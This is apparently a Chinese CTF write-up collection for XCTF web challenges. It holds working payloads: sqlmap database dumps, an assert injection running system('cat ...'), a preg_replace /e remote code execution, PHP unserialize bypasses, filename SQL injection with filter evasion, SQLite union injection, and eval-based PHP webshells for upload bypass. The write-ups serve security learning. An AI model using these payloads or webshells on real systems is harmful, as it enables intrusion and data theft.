攻防世界 WEB篇


0x01 ics-06

查看源碼發現:index.php

一開始直接用sqlmap跑了下沒有發現注入,然后用brupsuite爆破參數


0x02 NewsCenter

SQL注入中的POST注入,查閱資料(下方鏈接)獲知注入方法!

python2 sqlmap.py -r post.txt

可以獲得如下信息:

  1. mysql 5 數據庫
  2. Linux Debian9.0的服務器系統
  3. Apache 2.4.25的

接着來查看該數據庫的表:python2 sqlmap.py -r post.txt --dbs

  1. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" --columns
  2. python2 sqlmap.py -r post.txt -D "news" -T "secret_table" -C "fl4g,id" --dump


0x03 mfw

沒有發現注入點,掃一波目錄看看

在templates目錄下發現:

//flag.php
<?php
// TODO
// $FLAG = '';
?>
//index.php
<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert以及stroops的具體用法百度可知,要使得第一個assert檢查第一個斷言為False

payload

yoloyanng')or system("cat templates/flag.php");//
$file="templates/yoloyanng')or system("cat templates/flag.php");//.php";

最后執行的就是:

assert("strpos('templates/yoloyanng') or system("cat templates/flag.php");//, '..') === false") or die("Detected hacking attempt!");

最后執行語句:

strpos('templates/yoloyanng') or system("cat templates/flag.php")


0x04 PHP2

首先掃目錄也沒掃出什么東西來,后來得知是index.phps🤣🤣

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?

分析源碼:

要使的:"admin"===$_GET[id]不成立

經過$_GET[id] = urldecode($_GET[id]);$_GET[id] == "admin"成立

那么將admin兩次URL編碼后就OK了

payload

?id=%2561%2564%256d%2569%256e


0x05 lottery

在robots.txt下得到提示是git源碼泄露,目錄爆破下看看

利用Githack工具獲取

看了下文件中並沒有flag,那就代碼審計,在api.php中發現:

php弱類型比較漏洞,BrupSuite抓包改包,刷錢買flag:

0x06 unserialize3

class xctf{ 
public $flag = '111';
public function __wakeup(){
	exit('bad requests');
}
?code=

PHP反序列化漏洞了:__wakeup將在序列化之后立即被調用

對xctf類序列化:

<?php

class xctf{ 
public $flag = '111';
public function __wakeup(){
		exit('bad requests');
	}
}

$temp=new xctf();
echo serialize($temp);
?>

得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";},需要繞過__wakeup

payload:

?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

0x07 upload

上傳php文件,返回:Incorrect file extension!,改了后綴為jpg可以上傳成功,但也沒法通過jpg的后綴來通過菜刀連接,遂另尋方法(那也就是看Writeup了,🥦🥦)!

通過上傳的文件名注入,但是對於selectfrom進行了過濾,得想辦法繞過,采用關鍵字雙寫來繞過

sql '+(selselectect dAtaBase())+'.jpg

回顯結果:

看Writeup才知道:

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
  1. 通過hex函數將字符型轉換為16進制數
    1. 通過CONV函數將16進制轉換為10進制
  2. 通過substr函數截取前12位,因為太大了的話會用科學計數法表示
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

將兩串十進制數轉換為2進制在轉換位字符型得到:

131277325825392==>011101110110010101100010010111110111010101110000==>web_up
1819238756==>01101100011011110110000101100100==>load

得到數據庫名:web_upload

同樣的方法

sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
sql'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

得到表名:hello_flag_is_here

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

得到列名:i_am_flag

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

字段內容:!!_@m_Th.e_F!lag


0x08 Cat

  • 輸入ip的結果

通過Writeup得知:

  • php cURL CURLOPT_SAFE_UPLOAD
  • django DEBUG mode
  • Django使用的是gbk編碼,超過%F7的編碼不在gbk中有意義
  • CURLOPT_SAFE_UPLOAD 為 true 時,如果在請求前面加上@的話phpcurl組件是會把后面的當作絕對路徑請求,來讀取文件。當且僅當文件中存在中文字符的時候,Django 才會報錯導致獲取文件內容。

所以在這當傳遞的參數ASCII值大於127就會報錯,不過得通過url編碼

http://111.198.29.45:47939/index.php?url=%80

復制保存為HTML文件打開,關鍵部分:

http://111.198.29.45:47939/index.php?url=@/opt/api/database.sqlite3

0x09 ics-05

題目描述:其他破壞者會利用工控雲管理系統設備維護中心的后門入侵系統

本地文件包含漏洞,使用php://filter協議和base64編碼去訪問本地文件獲取源碼:

URL中存在path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞。

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

關鍵代碼部分:

<?php
//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

分析代碼可知需要將X-Forwarded-For設置為:127.0.0.1,並且通過get方式傳遞三個參數(pat,rep,sub)給preg_replace函數,這個函數的作用就是執行一個正則表達式的搜索和替換

preg_replace ( $pattern , $replacement , $subject)
  • $pattern: 要搜索的模式,可以是字符串或一個字符串數組。
  • $replacement: 用於替換的字符串或字符串數組。
  • $subject: 要搜索替換的目標字符串或字符串數組。

這里利用到的就是preg_replace函數的\e模式修政符允許代碼執行,具體可參考https://cloud.tencent.com/developer/article/1371906

構造:

pat=/ctf/e&rep=system("ls")&sub=ctf

接着一步步找到flag的位置

pat=/ctf/e&rep=system("ls+s3chahahaDir")&sub=ctf  //得到flag目錄
pat=/ctf/e&rep=system("ls+s3chahahaDir/flag")&sub=ctf   //得到flag.php文件
pat=/ctf/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=ctf   //讀取flag.php文件

0x10 Triangle

登錄驗證

function login(){
	var input = document.getElementById('password').value;
	var enc = enc_pw(input);
	var pw = get_pw();
	if(test_pw(enc, pw) == 1){
		alert('Well done!');
	}
	else{
		alert('Try again ...');
	}
}

unicorn.js : 一個 JavaScript 實現的開源 CPU 模擬器:https://alexaltea.github.io/unicorn.js/

secret.js

function test_pw(e, _) {
    var t = stoh(atob(getBase64Image("eye"))),
    r = 4096,
    m = 8192,
    R = 12288,
    a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    a.reg_write_i32(uc.ARM_REG_R9, m),
    a.reg_write_i32(uc.ARM_REG_R10, R),
    a.reg_write_i32(uc.ARM_REG_R8, _.length),
    a.mem_map(r, 4096, uc.PROT_ALL);
    for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
    a.mem_map(m, 4096, uc.PROT_ALL),
    a.mem_write(m, stoh(_)),
    a.mem_map(R, 4096, uc.PROT_ALL),
    a.mem_write(R, stoh(e));
    var u = r,
    c = r + o1.length;
    return a.emu_start(u, c, 0, 0),
    a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
    var _ = stoh(atob(getBase64Image("frei"))),
    t = 4096,
    r = 8192,
    m = 12288,
    //CPU 模擬器
    R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
    R.reg_write_i32(uc.ARM_REG_R8, r),
    R.reg_write_i32(uc.ARM_REG_R9, m),
    R.reg_write_i32(uc.ARM_REG_R10, e.length),
    R.mem_map(t, 4096, uc.PROT_ALL);
    
    for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
    R.mem_map(r, 4096, uc.PROT_ALL),
    R.mem_write(r, stoh(e)),
    R.mem_map(m, 4096, uc.PROT_ALL);
    var o = t,
    u = t + o2.length;
    return R.emu_start(o, u, 0, 0),
    htos(R.mem_read(m, e.length))
}

function get_pw() {
    for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
    return _
}

util.js

//返回字符串t的ASCII編碼
function stoh(t) {
    return t.split("").map(function(t) {
        return t.charCodeAt(0)
    })
}
//數字轉字符
function htos(t) {
    return String.fromCharCode.apply(String, t)
}
//返回圖片的base64編碼
function getBase64Image(t) {
    var e = document.getElementById(t),
    a = document.createElement("canvas");
    a.width = e.width,
    a.height = e.height;
    var n = a.getContext("2d");
    n.drawImage(e, 0, 0);
    var r = a.toDataURL("image/png");
    return r.replace(/^data:image\/(png|jpeg);base64,/, "")
}
//判斷瀏覽器類型
if (navigator.userAgent.toLowerCase().indexOf('firefox') > -1) {
//Firefox
    var o1 = [220, 8, 440, 642, 5, 189, 440, 642, 24, 249, 440, 642, 8, 300, 440, 280, 8, 1, 440, 280, 8, 219, 440, 280, 8, 162, 178, 60, 8, 517, 857, 60, 485, 517, 53, 497, 295, 219, 79, 497, 8, 8, 130, 280, 8, 8, 8, 5, 36, 517, 460, 497, 25, 8, 15, 642, 485, 8, 8, 6, 295, 8, 19, 497, 295, 189, 900, 497, 295, 300, 72, 497, 36, 8, 40, 642, 484, 131, 131, 520, 295, 1, 440, 280, 8, 8, 440, 280, 8, 189, 440, 280, 8, 162, 440, 280, 8, 249, 440, 280, 8, 300, 440, 280, 8, 517, 440, 280, 8, 253, 440, 280, 8, 19, 440, 280, 8, 74, 440, 280, 8, 440, 440, 280, 8, 219, 440, 280];
    var o2 = [24, 8, 105, 419, 80, 414, 105, 419, 5, 439, 105, 419, 8, 447, 105, 192, 8, 1, 105, 192, 8, 91, 104, 891, 70, 8, 330, 192, 70, 8, 8, 6, 64, 63, 64, 381, 25, 91, 632, 155, 25, 91, 632, 381, 70, 1, 76, 381, 8, 91, 417, 891, 70, 8, 19, 381, 70, 414, 82, 381, 70, 447, 555, 381, 176, 8, 139, 419, 220, 141, 141, 635, 8, 8, 105, 192, 8, 414, 105, 192, 8, 439, 105, 192, 8, 447, 105, 192, 8, 91, 105, 192, 8, 1, 105, 192, 8, 63, 105, 192, 8, 693, 105, 192, 8, 46, 105, 192, 8, 105, 105, 192];
    var o3 = [105, 134, 235, 31, 530, 39, 39, 105, 817, 1, 53, 479, 479, 97, 479, 160, 693, 54, 479, 31, 498, 817, 479, 530, 674, 335, 597, 90, 134, 134, 134, 344];
} 
else {
    var o1 = [305, 8, 485, 346, 5, 394, 485, 346, 24, 460, 485, 346, 8, 172, 485, 259, 8, 1, 485, 259, 8, 177, 485, 259, 8, 112, 349, 822, 8, 372, 86, 822, 286, 372, 106, 619, 63, 177, 61, 619, 8, 8, 60, 259, 8, 8, 8, 5, 64, 372, 317, 619, 25, 8, 15, 346, 286, 8, 8, 6, 63, 8, 19, 619, 63, 394, 226, 619, 63, 172, 591, 619, 64, 8, 40, 346, 618, 148, 148, 104, 63, 1, 485, 259, 8, 8, 485, 259, 8, 394, 485, 259, 8, 112, 485, 259, 8, 460, 485, 259, 8, 172, 485, 259, 8, 372, 485, 259, 8, 526, 485, 259, 8, 19, 485, 259, 8, 217, 485, 259, 8, 485, 485, 259, 8, 177, 485, 259];
    var o2 = [24, 8, 355, 223, 317, 515, 355, 223, 5, 195, 355, 223, 8, 250, 355, 379, 8, 1, 355, 379, 8, 287, 431, 100, 101, 8, 200, 379, 101, 8, 8, 6, 203, 170, 203, 268, 25, 287, 678, 199, 25, 287, 678, 268, 101, 1, 76, 268, 8, 287, 1205, 100, 101, 8, 19, 268, 101, 515, 1446, 268, 101, 250, 186, 268, 198, 8, 337, 223, 81, 50, 50, 119, 8, 8, 355, 379, 8, 515, 355, 379, 8, 195, 355, 379, 8, 250, 355, 379, 8, 287, 355, 379, 8, 1, 355, 379, 8, 170, 355, 379, 8, 184, 355, 379, 8, 617, 355, 379, 8, 355, 355, 379];
    var o3 = [52, 853, 58, 31, 908, 39, 39, 52, 197, 1, 86, 786, 786, 370, 786, 79, 177, 343, 786, 31, 106, 197, 786, 908, 331, 344, 227, 491, 853, 853, 853, 496];
}

所以就是一個JS代碼的逆向

在console里頭執行get_pw得到:XYzaSAAX_PBssisodjsal_sSUVWZYYYb

太菜了,后續未能解決,查看Writeup后得知:

enc_pw()test_pw()函數是采用 ARM 構架的模擬器來實現加密函數,在控制台運行如下代碼獲得ARM16進制代碼:

function getARM1(){
    var t = stoh(atob(getBase64Image("eye")));
    var res = new Array();

    for (var o = 0; o < o1.length; o++) 
        res[o] = t[o1[o]];

    return res;
}

function getARM2(){

  var x = stoh(atob(getBase64Image("frei")));
  var res = new Array();

  for(var i = 0; i < o2.length ; i++)
    res[i] = x[o2[i]];

  return res;
}

function ToHex(a){
    return Array.from(a, function(tmp){
        return ('0' + (tmp & 0xFF).toString(16)).slice(-2);
    }).join('');
}

ToHex(getARM1());
ToHex(getARM2());

通過網站在線轉:http://armconverter.com/hextoarm/

然后用Python寫就是:

def enc_pw(s):
  res = ''
  f = 0
  for i, c in enumerate(s):
    c = ord(c)
    if f == 1:
      c += i & 3
    c += 6
    f = c & 1
    res += chr(c)
  return res

def test_pw(s, t):
  for i, (c, d) in enumerate(zip(s, t)):
    c, d = ord(c), ord(d)
    c += 5
    if i & 1:
      c -= 3
    if c != d:
      return 0
  return 1

exp

import z3

x = [z3.BitVec(i, 8) for i in range(32)]
y = [0] * 32
s = z3.Solver()

a = "XYzaSAAX_PBssisodjsal_sSUVWZYYYb"
b = map(ord, a)

flag = 0
for i in range(32):
    ch = x[i]
    ch = z3.If(flag == 1, ch + (i & 3), ch)
    temp = ch + 6
    flag = temp & 1
    y[i] = temp

for i in range(32):
    ch = y[i] + 5
    if i & 1:
        ch = y[i] + 2
    s.add(ch == b[i])

if s.check() == z3.sat:
    m = s.model()
    print m
    flag = map(lambda sym: m[sym], x)
    flag = map(lambda val: chr(int(str(val))), flag)
    print ''.join(flag)

0x11 bug

注冊登錄后:

Manage需要用戶admin才能夠訪問,找回密碼抓包修改admin密碼

通過身份驗證之后,在設置新密碼時通過burpsuite進行抓包,修改用戶名為admin

通過admin登錄之后,仍然是無法訪問Manage,顯示IP Not allowed! ,仍舊是通過抓包修改X-Forwarded-For為:127.0.0.1

訪問:index.php?module=filemanage&do=upload 得到一個文件上傳界面

對文件后綴名和文件中的內容進行了過濾

后綴名為php2,php3、php4、php5、phtml、pht等同樣可以被當做php文件執行,發現php4和php5可以繞過,然后通過<script language="php">@eval_r($_POST[pass])</script> 繞過對文件內容的過濾。

0x12 Web2

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 

function encode($str){ 
    //strrev() 函數反轉字符串。
    $_o=strrev($str); 
    // echo $_o; 
         
    for($_0=0;$_0<strlen($_o);$_0++){ 
        //substr() 函數返回字符串的一部分。
        $_c=substr($_o,$_0,1); 
        $__=ord($_c)+1; 
        $_c=chr($__); 
        $_=$_.$_c;    
    }  
    return str_rot13(strrev(base64_encode($_))); 
} 
highlight_file(__FILE__); 
/* 
   逆向加密算法,解密$miwen就是flag 
*/ 
?> 

具體來說就是:先rot13解密,然后反轉字符串,然后base64解密,然后每個字符得ascii值減去1,然后反轉

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 
function decode($str){
	$flag=base64_decode(strrev(str_rot13($str)));

	$flag1="";
	for($i=0;$i<strlen($flag);$i++){ 
        $temp1=substr($flag,$i,1); 
        $temp2=ord($temp1)-1; 
        $temp1=chr($temp2); 
        $flag1=$flag1.$temp1;
    }
    $flag=strrev($flag1);
    echo($flag);
}

decode($miwen)
?>

ox13 upload1

隨便上傳一張圖片,返回

upload success : upload/1569307085.test.jpg

那么嘗試上傳一句話木馬:

<?php @eval($_POST['pass']);?>

對文件后綴名進行了過濾,只能夠上傳圖片,那么就通過BrupSuite抓包改包吧!

但是菜刀連不上不知是為何!!!

0x14 FlatScience

掃目錄:

訪問login.php 查看源碼得到傳參數debug,得到源碼

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

sqlite注入,沒有啥過濾,對於密碼加鹽進行了sha1處理

?usr=' union select name,sql from sqlite_master--+&pw=hello

關於sqlite_master:https://blog.csdn.net/jingcheng345413/article/details/70155254

set-cookie:

CREATE TABLE Users(
    id int primary key,
    name varchar(255),
    password varchar(255),
    hint varchar(255)
)

后續注入過程:

usr=' union select id,id from Users limit 0,1--+&pw   -- id=1
usr=' union select id,name from Users limit 0,1--+&pw -- name=admin
usr=' union select id,password from Users limit 0,1--+&pw -- 
password=3fab54a50e770d830c0416df817567662a9dc85c
usr=' union select id,hint from Users limit 0,1--+&pw --  
hint=my fav word in my fav paper?!

提示就是說密碼在那些pdf文件中,那么思路就是寫個腳本把pdf中所有不同的詞匯給爬取下來,然后進行爆破

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

0x15 wtf.sh-150

參考鏈接

(1)https://bbs.ichunqiu.com/thread-7762-1-1.html?from=bky

(2)https://www.freebuf.com/articles/web/167721.html

(3)https://www.php.net/manual/zh/function.unserialize.php

(4)https://www.cnblogs.com/Mrsm1th/p/6835592.html

(5)https://blog.csdn.net/huanghelouzi/article/details/82995313

(6)https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html

(7)https://www.webshell.cc/2949.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM